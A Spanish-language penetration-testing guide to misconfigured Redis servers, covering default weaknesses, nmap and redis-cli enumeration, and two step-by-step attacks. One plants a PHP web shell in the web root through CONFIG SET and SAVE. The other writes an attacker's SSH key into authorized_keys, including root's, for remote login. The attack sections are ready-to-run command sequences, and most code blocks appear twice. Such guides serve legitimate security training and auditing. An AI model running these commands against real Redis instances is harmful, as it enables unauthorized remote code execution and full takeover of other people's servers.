Redis Penetration Testing
Puerto por default: 6379
Durante una auditoría de seguridad, es común identificar servicios expuestos que pueden revelar información sensible del sistema. Uno de estos es Redis, que, si está mal configurado, no solo permite el acceso no autorizado, sino que también puede ser explotado para lograr ejecución remota de comandos. Antes de proceder con pruebas más avanzadas sobre este servicio, es importante entender qué es Redis y cuáles son sus principales debilidades de seguridad.
Redis es un servidor de estructuras de datos de código abierto que funciona como una base de datos NoSQL en memoria, también puede ser usado como un sistema de caché o un broker de mensajes. Su nombre significa "Remote Dictionary Server". Redis almacena datos en memoria RAM, lo que le permite acceder a ellos a una velocidad muy alta.
Principales puntos débiles de Redis
Falta de autenticación por defecto
--------- > Redis, por diseño, no requiere contraseña por defecto.
--------- > Si está expuesto a internet, cualquiera puede conectarse al puerto 6379 y ejecutar comandos.
Exposicion a Internet
--------- > Redis no debe estar accesible desde fuera del host local.
--------- > Administradores descuidados dejan el puerto 6379 expuesto públicamente
Mala configuración del archivo redis.conf
No usar parámetros como:
--------- > bind 127.0.0.1
--------- > protected-mode yes
--------- > requirepass
Permitir CONFIG desde clientes sin autenticación permite cambiar la ruta y nombre del archivo de persistencia .rdb → escribir en el sistema de archivos, incluso shells o claves SSH.
Inyección de archivos maliciosos
Un atacante puede abusar de comandos como CONFIG, SET, y SAVE para escribir:
--------- > Web shells "si Redis puede escribir en /var/www/html"
--------- > Claves públicas en .ssh/authorized_keys
--------- > Crontabs o scripts en /etc
Ejecutarse como root
--------- > Redis no debe correr como root, pero en entornos mal configurados lo hace.
--------- > Esto puede dar acceso total al sistema con un ataque de archivo.
Falta de cifrado TLS/SSL
--------- > Por defecto, Redis no cifra el tráfico.
--------- > Permite sniffing de contraseñas y datos sensibles en tránsito si no se usa dentro de red segura o con TLS habilitado.
Autenticación débil o reutilización de contraseñas
--------- > Incluso cuando se configura requirepass, muchas veces se usan contraseñas triviales como redis, 123456, etc.
Uso de persistencia mal gestionado
--------- > Un atacante podría manipular los archivos persistentes de Redis si tiene acceso local, inyectando comandos para ejecutarse al reiniciar.
interactuar con redis
Puedes realizar enumeracion manual utilizando NMAP:
sudo nmap --script "*redis*" -p6379 IP
sudo nmap --script "*redis*" -p6379 IP
Una de las formas comunes para interactuar con redis es con la herramienta redis-cli, que se instala desde linux con el sigueinte comando:
sudo apt install redis-tools
sudo apt install redis-tools
En una instancia regular de Redis, puedes conectarte usando netcat o usar redis-cli:
nc -vn 10.10.10.10 1234
redis-cli -h 10.10.10.10
nc -vn 10.10.10.10 1234
redis-cli -h 10.10.10.10
Ahora que entendemos que es redis y como podemos interactual con el, vamos a pasar a la explotacion de Redis
Enumeración Manual de Redis
PING # ¿responde?
INFO # versión, OS, role, uptime
INFO replication # ¿master / slave?
CONFIG GET * # rutas, dir, dbfilename, requirepass
AUTH [pass] # si hay pass filtrada
INFO # Muestra informacion de Redis
CLIENT LIST # clientes conectados
DBSIZE # número de keys
KEYS * # solo si DB pequeña
SCAN 0 # enumeración segura
GET [key] / HGETALL [key] # datos sensibles
ACL LIST # permisos (Redis ≥6)
COMMAND # comandos habilitados
MODULE LIST # módulos cargados
SAVE / BGSAVE # ¿permitido?
SLAVEOF [IP] [PORT] # ¿bloqueado?
CONFIG SET dir /tmp # ¿escribible?
CONFIG SET dbfilename test.rdb # test escritura
PING # ¿responde?
INFO # versión, OS, role, uptime
INFO replication # ¿master / slave?
CONFIG GET * # rutas, dir, dbfilename, requirepass
AUTH [pass] # si hay pass filtrada
INFO # Muestra informacion de Redis
CLIENT LIST # clientes conectados
DBSIZE # número de keys
KEYS * # solo si DB pequeña
SCAN 0 # enumeración segura
GET [key] / HGETALL [key] # datos sensibles
ACL LIST # permisos (Redis ≥6)
COMMAND # comandos habilitados
MODULE LIST # módulos cargados
SAVE / BGSAVE # ¿permitido?
SLAVEOF [IP] [PORT] # ¿bloqueado?
CONFIG SET dir /tmp # ¿escribible?
CONFIG SET dbfilename test.rdb # test escritura
Redis Web Shell Injection
Redis, por defecto, no tiene autenticación y permite conexiones remotas si no está bien configurado. Este ataque abusa de la capacidad de Redis para escribir archivos en disco, y cambia la configuración del dbfilename y el dir para colocar un archivo PHP malicioso directamente en el document root del servidor web
Flujo del ataque
$ redis-cli -h 10.10.10.10 flushall
$ redis-cli -h 10.10.10.10 set pwn '<?php system($_REQUEST['cmd']); ?>'
$ redis-cli -h 10.10.10.10 config set dbfilename shell.php
$ redis-cli -h 10.10.10.10 config set dir /var/www/html
$ redis-cli -h 10.10.10.10 save
$ redis-cli -h 10.10.10.10 flushall
$ redis-cli -h 10.10.10.10 set pwn '<?php system($_REQUEST['cmd']); ?>'
$ redis-cli -h 10.10.10.10 config set dbfilename shell.php
$ redis-cli -h 10.10.10.10 config set dir /var/www/html
$ redis-cli -h 10.10.10.10 save
Una vez hecho esto, accediendo vía navegador a http://victima/shell.php?cmd=id por ejemplo, se logra ejecución remota de comandos.
Privilege Escalation via Redis Key Injection
Este ataque aprovecha una instancia de Redis mal configurada "sin autenticación y accesible desde la red" para escribir directamente en el archivo authorized_keys del usuario bajo el cual corre Redis "por defecto, normalmente es el usuario redis"
Flujo del ataque:
--------- > Se genera un par de claves SSH "key y key.pub"
--------- > Se prepara un archivo con la clave pública en el formato esperado por authorized_keys.
--------- > Se guarda el contenido en Redis como una nueva clave "set pwn"
--------- > Se configura Redis para guardar su base de datos "RDB" en:
dbfilename = authorized_keys
dir = /var/lib/redis/.ssh
Se fuerza a Redis a hacer un save, escribiendo su contenido "con la clave pública" en el archivo authorized_keys.
$ ssh-keygen #enter + enter + enter + enter
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
$ redis-cli -h 10.10.10.10 flushall
$ cat key.txt | redis-cli -h 10.10.10.10 -x set pwn
$ redis-cli -h 10.10.10.10 config set dbfilename authorized_keys
$ redis-cli -h 10.10.10.10 config set dir /var/lib/redis/.ssh
$ redis-cli -h 10.10.10.10 save
$ ssh-keygen #enter + enter + enter + enter
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
$ redis-cli -h 10.10.10.10 flushall
$ cat key.txt | redis-cli -h 10.10.10.10 -x set pwn
$ redis-cli -h 10.10.10.10 config set dbfilename authorized_keys
$ redis-cli -h 10.10.10.10 config set dir /var/lib/redis/.ssh
$ redis-cli -h 10.10.10.10 save
NOTA: El directorio del usuario dependera de la configuracion del servidor, prueba inyectar el archivo authorized_keys en /var/lib/redis/.ssh o en /root/.ssh
Una vez hecho esto, puedes realizar:
ssh -i id_rsa redis/root@IP
ssh -i id_rsa redis/root@IP